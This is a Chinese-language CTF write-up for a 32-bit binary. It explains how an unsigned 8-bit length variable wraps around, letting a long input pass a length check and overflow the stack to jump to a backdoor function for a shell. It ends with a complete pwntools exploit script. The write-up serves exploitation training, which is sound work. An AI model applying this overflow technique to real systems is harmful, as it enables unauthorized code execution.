进入到题目环境,程序接收一个输入,测试之后,发现输入任何值的返回都是Oops,u name is too long!
checksec查看一下程序保护,只开启了NX
那就用IDA分析一下程序,将输入读取到buf的内存当中,又作为name_check
函数的参数
进入到name_check
函数里,存在一个判断,如果参数的长度大于3且小于等于8,则将s的值复制到dest的内存空间里。
分析之后,当通过条件判断之后,变量dest可以造成栈溢出
这里也存在整数溢出,v3的类型为unsigned __int8
是一个字节,即8位,最多表示255
Int8, 等于Byte, 占1个字节.
Int16, 等于short, 占2个字节. -32768 32767
Int32, 等于int, 占4个字节. -2147483648 2147483647
Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807
这样, 看起来比short,int,long更加直观些!
另外, 还有一个Byte, 它等于byte, 0 - 255.
所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。
例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.
如果1111 1111再加1呢?结果就是0000 0000了,但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作,可以看到这里有个判断就是判断v3的长度,必须是在(3,8]这个区间内,满足这个容易,但是就溢出不到返回地址,要想溢出到返回地址,其实输入name的值是肯定要比8大的,这里就用到了这个整数溢出,我们可以给name的值的长度为260,这样就可以既绕过判断长度,又可以溢出到返回地址。
在程序中有后门函数,因此在返回地址放入后门函数的地址即可获得shell
exp:
from pwn import *
p = remote('xxxxxx',xxxxx)
context.log_level = 'debug'
shell = 0x0804858B
payload = 'a'*21 + p32(shell) #11H+4 = 21
payload += 'b'*(255-len(payload)+4)
p.sendlineafter('name:',payload)
print p.recv()
p.recv()
p.interactive()